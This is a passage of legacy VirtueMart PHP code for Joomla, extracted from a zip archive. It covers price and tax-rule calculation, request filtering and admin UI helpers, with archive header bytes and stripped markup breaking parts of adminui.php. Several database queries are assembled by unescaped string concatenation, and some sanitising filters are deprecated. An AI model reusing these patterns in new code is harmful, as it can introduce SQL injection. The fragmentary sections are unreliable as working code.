if(isset($rule['subTotal']) and $TaxID != 0 and $DBTax = true) { if(isset($rule['subTotalPerTaxID'][$TaxID])) { $cIn = $rule['subTotalPerTaxID'][$TaxID]; $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartData['VatTax'][$TaxID]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'] = round($this->roundInternal($this->roundInternal($cOut) - $cIn),$this->_currencyDisplay->_priceConfig['salesPrice'][1]);; } } } } return $discount; } /** * Function to execute the calculation of the gathered rules Ids. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $rules The Ids of the products * @param $price The input price, if no rule is affecting, 0 gets returned * @return int $price the endprice */ function executeCalculation($rules, $baseprice, $relateToBaseAmount=false,$setCartPrices = true) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); $price = $baseprice; $finalprice = $baseprice; if (isset($rulesEffSorted)) { foreach ($rulesEffSorted as $rule) { if(isset($rule['subTotal'])){ $cIn = $rule['subTotal']; //vmdebug('executeCalculation use subTotal of rule '.$rule['subTotal']); } else if ($relateToBaseAmount) { $cIn = $baseprice; } else { $cIn = $price; } $cOut = $this->interpreteMathOp($rule, $cIn); $tmp = $this->roundInternal($this->roundInternal($cOut) - $cIn); if($setCartPrices){ $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $tmp; } //vmdebug('executeCalculation id : '.$rule['virtuemart_calc_id'].' = '.$tmp); //okey, this is a bit flawless logic, but should work if ($relateToBaseAmount) { $finalprice = $finalprice + $tmp; } else { $price = $cOut; } } } //okey done with it if (!$relateToBaseAmount) { $finalprice = $price; } return $finalprice; } /** * Gatheres the rules which affects the product. * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint The entrypoint how it should behave. Valid values should be * Profit (Commission is a profit rule that is shared, maybe we remove shared and make a new entrypoint called profit) * DBTax (Discount for wares, coupons) * Tax * DATax (Discount on money) * Duty * @return $rules The rules that effects the product as Ids */ function gatherEffectingRulesForProductPrice($entrypoint, $id) { $testedRules = array(); if ($id === -1) return $testedRules; //virtuemart_calc_id virtuemart_vendor_id calc_shopper_published calc_vendor_published published shared calc_amount_cond $countries = ''; $states = ''; $shopperGroup = ''; $entrypoint = (string) $entrypoint; if(empty($this->allrules[$this->productVendorId][$entrypoint])){ return $testedRules; } $allRules = $this->allrules[$this->productVendorId][$entrypoint]; //Cant be done with Leftjoin afaik, because both conditions could be arrays. foreach ($allRules as $i => $rule) { if(!empty($id)){ if($rule['virtuemart_calc_id']==$id){ $testedRules[$rule['virtuemart_calc_id']] = $rule; } continue; } if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['for_override'])){ continue; } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'])){ $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['cats'] = $this->_db->loadResultArray(); } $hitsCategory = true; if (isset($this->_cats)) { $hitsCategory = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'], $this->_cats); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'])){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'] = $this->_db->loadResultArray(); } $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'], $this->_shopperGroupId); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['countries'] = $this->_db->loadResultArray(); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['states'] = $this->_db->loadResultArray(); } $hitsDeliveryArea = true; if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ if (!empty($this->_deliveryState)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['states'], $this->_deliveryState); } else { $hitsDeliveryArea = false; } } else if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ if (!empty($this->_deliveryCountry)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'], $this->_deliveryCountry); } else { $hitsDeliveryArea = false; } } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'])){ $q = 'SELECT `virtuemart_manufacturer_id` FROM #__virtuemart_calc_manufacturers WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'] = $this->_db->loadResultArray(); } $hitsManufacturer = true; if (isset($this->_manufacturerId)) { $hitsManufacturer = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'], $this->_manufacturerId); } if ($hitsCategory and $hitsShopper and $hitsDeliveryArea and $hitsManufacturer) { if ($this->_debug) echo '
    Add rule ForProductPrice ' . $rule["virtuemart_calc_id"]; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesProduct',array(&$this,&$testedRules)); } return $testedRules; } /** * Gathers the effecting rules for the calculation of the bill * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint * @param $cartVendorId * @return $rules The rules that effects the Bill as Ids */ function gatherEffectingRulesForBill($entrypoint, $cartVendorId=1) { $testedRules = array(); //Test if calculation affects the current entry point //shared rules counting for every vendor seems to be not necessary $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind`="' . $entrypoint . '" AND `published`="1" AND (`virtuemart_vendor_id`="' . $cartVendorId . '" OR `shared`="1" ) AND ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) '; // $shoppergrps . $countries . $states ; $this->_db->setQuery($q); $rules = $this->_db->loadAssocList(); foreach ($rules as $rule) { $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $countries = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $states = $this->_db->loadResultArray(); $hitsDeliveryArea = true; //vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea $countries and states ',$countries,$states,$q); if (!empty($countries) && empty($states)) { $hitsDeliveryArea = $this->testRulePartEffecting($countries, $this->_deliveryCountry); } else if (!empty($states) ) { $hitsDeliveryArea = $this->testRulePartEffecting($states, $this->_deliveryState); vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea '.(int)$hitsDeliveryArea.' '.$this->_deliveryState,$states); } $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $rule['calc_categories'] = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $shoppergrps = $this->_db->loadResultArray(); $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($shoppergrps, $this->_shopperGroupId); } if ($hitsDeliveryArea && $hitsShopper) { if ($this->_debug) echo '
    Add Checkout rule ' . $rule["virtuemart_calc_id"] . '
    '; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesBill', array(&$this, &$testedRules)); } return $testedRules; } /** * Calculates the effecting Shipment prices for the calculation * @copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the coupon * @return $rules ids of the coupons */ function calculateShipmentPrice( $cart, $checkAutomaticSelected=true) { $this->_cartData['shipmentName'] = JText::_('COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED'); $this->_cartPrices['shipmentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['shipmentTax'] = 0; $this->_cartPrices['salesPriceShipment'] = 0; $this->_cartPrices['shipment_calc_id'] = 0; // check if there is only one possible shipment method //if (empty($cart->virtuemart_shipmentmethod_id)){ $cart->CheckAutomaticSelectedShipment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_shipmentmethod_id)) return; //} // Handling shipment plugins if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePriceShipment',array( $cart, &$this->_cartPrices, &$this->_cartData['shipmentName'] )); /* * Plugin return true if shipment rate is still valid * false if not any more */ $shipmentValid=0; foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $cart->virtuemart_shipmentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } /** * Calculates the effecting Payment prices for the calculation * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the paymentmethod * @param $value amount of the money to transfere * @param $value $cartVendorId * @return $paymentCosts The amount of money the customer has to pay. Calculated in shop currency */ function calculatePaymentPrice($cart, $checkAutomaticSelected=true) { // if (empty($code)) return 0.0; // $code=4; $this->_cartData['paymentName'] = JText::_('COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED'); $this->_cartPrices['paymentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['paymentTax'] = 0; $this->_cartPrices['paymentTotal'] = 0; $this->_cartPrices['salesPricePayment'] = 0; $this->_cartPrices['payment_calc_id'] = 0; // check if there is only one possible payment method //if (empty($cart->virtuemart_paymentmethod_id)){ $cart->CheckAutomaticSelectedPayment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_paymentmethod_id)) return; //} if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePricePayment',array( $cart, &$this->_cartPrices, &$this->_cartData['paymentName'] )); /* * Plugin return true if payment plugin is valid * false if not valid anymore * only one value is returned */ $paymentValid=0; foreach ($returnValues as $returnValue) { $paymentValid += $returnValue; } if (!$paymentValid) { $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } function calculateCustomPriceWithTax($price) { $price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $price,true); if(VmConfig::get('cVarswT',1)){ $taxRules = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $vattaxRules = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $rules = array_merge($taxRules,$vattaxRules); if(!empty($rules)){ $price = $this->executeCalculation($rules, $price, true); } $price = $this->roundInternal($price); } return $price; } /** * This function just writes the query for gatherEffectingRulesForProductPrice * When a condition is not set, it is handled like a set condition that affects it. So the users have only to add a value * for the conditions they want to (You dont need to enter a start or end date when the rule should count everytime). * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $data the ids of the rule, for exampel the ids of the categories that affect the rule * @param $field the name of the field in the db, for exampel calc_categories to write a rule that asks for the field calc_categories * @return $q The query */ function writeRulePartEffectingQuery($data, $field, $setAnd=0) { $q = ''; if (!empty($data)) { if ($setAnd) { $q = ' AND ('; } else { $q = ' ('; } foreach ($data as $id) { $q = $q . '`' . $field . '`="' . $id . '" OR'; } $q = $q . '`' . $field . '`="0" )'; } return $q; } /** * This functions interprets the String that is entered in the calc_value_mathop field * The first char is the signum of the function. The more this function can be enhanced * maybe with function that works like operators, the easier it will be to make more complex disount/commission/profit formulas * progressive, nonprogressive and so on. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $mathop String reprasentation of the mathematical operation, valid ('+','-','+%','-%') * @param $value float The value that affects the price * @param $currency int the currency which should be used * @param $price float The price to calculate */ function interpreteMathOp($rule, $price) { $mathop = $rule['calc_value_mathop']; $value = (float)$rule['calc_value']; $currency = $rule['calc_currency']; //$mathop, $value, $price, $currency='') $coreMathOp = array('+','-','+%','-%'); if(!$this->_revert){ $plus = '+'; $minus = '-'; } else { $plus = '-'; $minus = '+'; } if(in_array($mathop,$coreMathOp)){ $sign = substr($mathop, 0, 1); $calculated = false; if (strlen($mathop) == 2) { $cmd = substr($mathop, 1, 2); if ($cmd == '%') { if(!$this->_revert){ $calculated = $price * $value / 100.0; } else { if(!empty($value)){ if($sign == $plus){ $calculated = abs($price /(1 - (100.0 / $value))); } else { $calculated = abs($price /(1 + (100.0 / $value))); } } else { vmdebug('interpreteMathOp $value is empty '.$rule['calc_name']); } // vmdebug('interpreteMathOp $price'.$price.' $value '.$value.' $sign '.$sign.' '.$plus.' $calculated '.$calculated); } } } else if (strlen($mathop) == 1){ $calculated = $this->_currencyDisplay->convertCurrencyTo($currency, $value); } // vmdebug('interpreteMathOp',$price,$calculated,$plus); if($sign == $plus){ return $price + (float)$calculated; } else if($sign == $minus){ return $price - (float)$calculated; } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found'); return $price; } } else { JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); //$calculated = $dispatcher->trigger('interpreteMathOp', array($this, $mathop, $value, $price, $currency,$this->_revert)); $calculated = $dispatcher->trigger('plgVmInterpreteMathOp', array($this, $rule, $price,$this->_revert)); //vmdebug('result of plgVmInterpreteMathOp',$calculated); if($calculated){ foreach($calculated as $calc){ if($calc) return $calc; } } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found, seems you created this rule with plugin not longer accesible (deactivated, uninstalled?)'); return $price; } } } /** * Standard round function, we round every number with 6 fractionnumbers * We need at least 4 to calculate something like 9.25% => 0.0925 * 2 digits * Should be setable via config (just for the crazy case) */ function roundInternal($value,$name = 0) { if(!$this->_roundindig and $name!==0){ if(isset($this->_currencyDisplay->_priceConfig[$name][1])){ //vmdebug('roundInternal rounding use '.$this->_currencyDisplay->_priceConfig[$name][1].' digits'); return round($value,$this->_currencyDisplay->_priceConfig[$name][1]); } else { vmdebug('roundInternal rounding not found for '.$name,$this->_currencyDisplay->_priceConfig[$name]); return round($value, $this->_internalDigits); } } else { return round($value, $this->_internalDigits); } } /** * Round function for display with 6 fractionnumbers. * For more information please read http://en.wikipedia.org/wiki/Propagation_of_uncertainty * and http://www.php.net/manual/en/language.types.float.php * So in case of € or $ it is rounded in cents * Should be setable via config * @deprecated */ /* function roundDisplay($value) { return round($value, 4); }*/ /** * Can test the tablefields Category, Country, State * If the the data is 0 false is returned */ function testRulePartEffecting($rule, $data) { if (!isset($rule)) return true; if (!isset($data)) return false; if (is_array($rule)) { if (count($rule) == 0) return true; } else { $rule = array($rule); } if (!is_array($data)) $data = array($data); $intersect = array_intersect($rule, $data); if ($intersect) { return true; } else { return false; } } /** Sorts indexed 2D array by a specified sub array key * * Copyright richard at happymango dot me dot uk * @author Max Milbers */ function record_sort($records, $field, $reverse=false) { if (is_array($records)) { $hash = array(); foreach ($records as $record) { if(isset($record[$field])){ $keyToUse = $record[$field]; while (array_key_exists($keyToUse, $hash)) { $keyToUse = $keyToUse + 1; } $hash[$keyToUse] = $record; } } ($reverse) ? krsort($hash) : ksort($hash); $records = array(); foreach ($hash as $record) { $records [] = $record; } } return $records; } /** * Calculate a pricemodification for a variant * * Variant values can be in the following format: * Array ( [Size] => Array ( [XL] => +1 [M] => [S] => -2 ) [Power] => Array ( [strong] => [middle] => [poor] => =24 ) ) * * In the post is the data for the chosen variant, when there is a hit, it gets calculated * * Returns all variant modifications summed up or the highest price set with '=' * * @todo could be slimmed a bit down, using smaller array for variantnames, this could be done by using the parseModifiers method, needs to adjust the post * @author Max Milbers * @param int $virtuemart_product_id the product ID the attribute price should be calculated for * @param array $variantnames the value of the variant * @return array The adjusted price modificator */ public function calculateModificators(&$product, $variants) { $modificatorSum = 0.0; //MarkerVarMods foreach ($variants as $selected => $variant) { if (!empty($selected)) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE field.`virtuemart_customfield_id`=' .(int) $selected; $this->_db->setQuery($query); $productCustomsPrice = $this->_db->loadObject(); //A plugin can have a zero price and create it, so no if(!empty(customprice here if ($productCustomsPrice->field_type =='E') { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmCalculateCustomVariant',array(&$product, &$productCustomsPrice,$selected,$modificatorSum)); } if (!empty($productCustomsPrice->custom_price)) { vmdebug('calculateModificators davor',$productCustomsPrice->custom_price); $productCustomsPrice->custom_price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $productCustomsPrice->custom_price,true); vmdebug('calculateModificators danach',$productCustomsPrice->custom_price); //TODO adding % and more We should use here $this->interpreteMathOp $modificatorSum = $modificatorSum + $productCustomsPrice->custom_price; } } } return $modificatorSum; } public function parseModifier($name) { $variants = array(); if ($index = strpos($name, '::')) { $virtuemart_product_id = substr($name, 0, $index); $allItems = substr($name, $index + 2); $items = explode(';', $allItems); foreach ($items as $item) { if (!empty($item)) { //vmdebug('parseModifier $item',$item); $index2 = strpos($item, ':'); if($index2!=false){ $selected = substr($item, 0, $index2); $variant = substr($item, $index2 + 1); // echo 'My selected '.$selected; // echo ' My $variant '.$variant.' '; //TODO productCartId //MarkerVarMods $variants[$selected] = $variant; //this works atm not for the cart //$variants[$variant] = $selected; //but then the orders are broken } } } } //vmdebug('parseModifier $variants',$variants); return $variants; } } PKB\hB<  helpers/vrequest.phpnuW+A); public static function uword($field, $default='', $custom=''){ $source = self::getVar($field,$default); return self::filterUword($source,$custom); } public static function filterUword($source, $custom,$replace=''){ if(function_exists('mb_ereg_replace')){ //$source is string that will be filtered, $custom is string that contains custom characters return mb_ereg_replace('[^\w'.preg_quote($custom).']', $replace, $source); } else { return preg_replace("~[^\w".preg_quote($custom,'~')."]~", $replace, $source); //We use Tilde as separator, and give the preq_quote function the used separator } } public static function getBool($name, $default = 0){ $tmp = self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); if($tmp){ $tmp = true; } else { $tmp = false; } return $tmp; } public static function getInt($name, $default = 0){ return self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); } public static function getFloat($name,$default=0.0){ return self::get($name,$default,FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_SCIENTIFIC|FILTER_FLAG_ALLOW_FRACTION); } /** * - Strips all characters that has a numerical value <32. * - Strips all html. * * @param $name * @param null $default * @return mixed|null */ public static function getVar($name, $default = null){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW ); } /** * - Strips all characters that has a numerical value <32. * - encodes html * * @param $name * @param string $default * @return mixed|null */ public static function getString($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_SPECIAL_CHARS,FILTER_FLAG_STRIP_LOW); } public static function getHtml($name, $default = ''){ $tmp = self::get($name, $default); return JComponentHelper::filterText($tmp); } /** * Gets a filtered request value * - Strips all characters that has a numerical value <32 and >127. * - strips html * @author Max Milbers * @param $name * @param string $default * @return mixed|null */ public static function getCmd($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } public static function getWord($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } /** * Main filter function, called by the others with set Parameters * The standard filter is non restrictiv. * * @author Max Milbers * @param $name * @param null $default * @param int $filter * @param int $flags * @return mixed|null */ public static function get($name, $default = null, $filter = FILTER_UNSAFE_RAW, $flags = FILTER_FLAG_STRIP_LOW){ //vmSetStartTime(); if(!empty($name)){ if(!isset($_REQUEST[$name])) return $default; //if(strpos($name,'[]'!==FALSE)){ if(is_array($_REQUEST[$name])){ return filter_var_array($_REQUEST[$name], $filter ); } else { return filter_var($_REQUEST[$name], $filter, $flags); } } else { vmTrace('empty name in vRequest::get'); return $default; } } /** * Gets the request and filters it directly. It uses the standard php function filter_var_array, * The standard filter allows all chars, also the special ones. But removes dangerous html tags. * * @author Max Milbers * @param array $filter * @return mixed cleaned $_REQUEST */ public static function getRequest( ){ return filter_var_array($_REQUEST, FILTER_SANITIZE_STRING); } public static function getPost( ){ return filter_var_array($_POST, FILTER_SANITIZE_STRING); } public static function getGet( ){ return filter_var_array($_GET, FILTER_SANITIZE_STRING); } public static function getFiles($name){ return filter_var_array($_FILES[$name], FILTER_SANITIZE_STRING); } public static function setVar($name, $value = null){ if(isset($_REQUEST[$name])){ $tmp = $_REQUEST[$name]; $_REQUEST[$name] = $value; return $tmp; } else { $_REQUEST[$name] = $value; return null; } } /** * Checks for a form token in the request. * * @return boolean True if token valid * */ public static function vmCheckToken($redirectMsg=0){ $token = self::getFormToken(); if (!self::uword($token, false)){ if ($rToken = self::uword('token', false)){ if($rToken == $token){ return true; } } $session = JFactory::getSession(); if ($session->isNew()){ // Redirect to login screen. $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php'), vmText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED')); $app->close(); } else { if($redirectMsg===0){ $redirectMsg = 'Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task'); //jexit('Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task')); } else { $redirectMsg = vmText::_($redirectMsg); } // Redirect to login screen. $app = JFactory::getApplication(); $session->close(); $app->redirect(JRoute::_('index.php'), $redirectMsg); $app->close(); return false; } } else { return false; } } public static function getFormToken($fNew = false){ $user = JFactory::getUser(); $session = JFactory::getSession(); if(empty($user->id)) $user->id = 0; $hash = JApplication::getHash($user->id . $session->getToken($fNew)); return $hash; } }PKB\%e#e#helpers/adminui.phpnuW+AaddStyleSheet($admin.'css/admin_ui.css'); //$document->addStyleSheet($admin.'css/admin_menu.css'); $document->addStyleSheet($admin.'css/admin.styles.css'); $document->addStyleSheet($admin.'css/toolbar_images.css'); $document->addStyleSheet($admin.'css/menu_images.css'); $document->addStyleSheet($front.'css/chosen.css'); $document->addStyleSheet($front.'css/vtip.css'); $document->addStyleSheet($front.'css/jquery.fancybox-1.3.4.css'); $document->addStyleSheet($front.'css/ui/jquery.ui.all.css'); //$document->addStyleSheet($admin.'css/jqtransform.css'); //loading defaut script $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); $document->addScript($admin.'js/jquery.coookie.js'); $document->addScript($front.'js/chosen.jquery.min.js'); $document->addScript($admin.'js/vm2admin.js'); $vm2string = "editImage: 'edit image',select_all_text: '".JText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".JText::_($selectText)."'" ; $document->addScriptDeclaration ( " // "); ?> '.vmView::getToolbar($vmView).'
    '; ?>
    value array. key = template name, value = Language File contraction * @params $cookieName = choose a cookiename or leave empty if you don't want cookie tabs in this place * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static public function buildTabs($view, $load_template = array(),$cookieName='') { $cookieName = JRequest::getWord('view','virtuemart').$cookieName; $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="'.$cookieName.'"; '); $html = '
    '; foreach ( $load_template as $tab_content => $tab_title ) { $html .= '
    '; $html .= $view->loadTemplate ( $tab_content ); $html .= '
    '; } $html .= '
    '; echo $html; } /** * Admin UI Tabs Imitation * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $return = return the start tag or the closing tag - choose 'start' or 'end' * @params $language = pass the language string */ static function imitateTabs($return,$language = '') { if ($return == 'start') { $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="vm-tab"; '); $html = '
    '; echo $html; } if ($return == 'end') { $html = '
    '; echo $html; } } /** * Build an array containing all the menu items. * * @param int $moduleId Id of the module to filter on */ static function _getAdminMenu($moduleId = 0) { $db = JFactory::getDBO (); $menuArr = array (); $filter [] = "jmmod.published='1'"; $filter [] = "item.published='1'"; $filter [] = "jmmod.is_admin='1'"; if (! empty ( $moduleId )) { $filter [] = 'vmmod.module_id=' . ( int ) $moduleId; } $query = 'SELECT `jmmod`.`module_id`, `module_name`, `module_perms`, `id`, `name`, `link`, `depends`, `icon_class`, `view`, `task` FROM `#__virtuemart_modules` AS jmmod LEFT JOIN `#__virtuemart_adminmenuentries` AS item ON `jmmod`.`module_id`=`item`.`module_id` WHERE ' . implode ( ' AND ', $filter ) . ' ORDER BY `jmmod`.`ordering`, `item`.`ordering` '; $db->setQuery ( $query ); $result = $db->loadAssocList (); // echo '
    '.print_r($query,1).'
    '; for($i = 0, $n = count ( $result ); $i < $n; $i ++) { $row = $result [$i]; $menuArr [$row['module_id']] ['title'] = 'COM_VIRTUEMART_' . strtoupper ( $row['module_name'] ) . '_MOD'; $menuArr [$row['module_id']] ['items'] [] = $row ; } return $menuArr; } /** * Display the administrative ribbon menu. * @todo The link should be done better */ static function showAdminMenu() { $document = JFactory::getDocument (); $moduleId = JRequest::getInt ( 'module_id', 0 ); $user = JFactory::getUser(); $menuItems = AdminUIHelper::_getAdminMenu ( $moduleId ); ?>
    PKB\AAhelpers/mediahandler.phpnuW+Atransliterate($str); } if(function_exists('mb_ereg_replace')){ $regex = array('#(\.){2,}#', '#[^\w\.\- ]#', '#^\.#'); return mb_ereg_replace($regex, '', $str); } else { $regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#'); return preg_replace($regex, '', $str); } } } class VmMediaHandler { var $media_attributes = 0; var $setRole = false; var $file_name = ''; var $file_extension = ''; var $virtuemart_media_id = ''; function __construct($id=0){ $this->virtuemart_media_id = $id; $this->theme_url = VmConfig::get('vm_themeurl',0); if(empty($this->theme_url)){ $this->theme_url = JURI::root().'components/com_virtuemart/'; } } /** * The type of the media determines the used path for storing them * * @author Max Milbers * @param string $type type of the media, allowed values product, category, shop, vendor, manufacturer, forSale */ public function getMediaUrlByView($type){ //the problem is here, that we use for autocreatoin the name of the model, here products //But for storing we use the product to build automatically the table out of it (product_medias) $choosed = false; if($type == 'product' || $type == 'products'){ $relUrl = VmConfig::get('media_product_path'); $choosed = true; } else if($type == 'category' || $type == 'categories'){ $relUrl = VmConfig::get('media_category_path'); $choosed = true; } else if($type == 'shop'){ $relUrl = VmConfig::get('media_path'); $choosed = true; } else if($type == 'vendor' || $type == 'vendors'){ $relUrl = VmConfig::get('media_vendor_path'); // $relUrl = 'components/com_virtuemart/assets/images/vendors/'; $choosed = true; } else if($type == 'manufacturer' || $type == 'manufacturers'){ $relUrl = VmConfig::get('media_manufacturer_path'); $choosed = true; } else if($type == 'forSale' || $type== 'file_is_forSale'){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $relUrl = shopFunctions::checkSafePath(); if($relUrl){ $choosed = true; $this->file_is_forSale=1; } } // $this->type = $type; // $this->setRole=false; if($choosed && empty($relUrl)){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ); //Todo add general media_path to config //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/'; $this->setRole=true; // } else if(!$choosed and empty($relUrl) and $this->file_is_forSale==0){ } else if(!$choosed and empty($relUrl) ){ vmWarn('COM_VIRTUEMART_MEDIA_CHOOSE_TYPE',$this->file_title ); // vmError('Ignore this message, when it appears while the media synchronisation process, else report to http://forum.virtuemart.net/index.php?board=127.0 : cant create media of unknown type, a programmers error, used type ',$type); 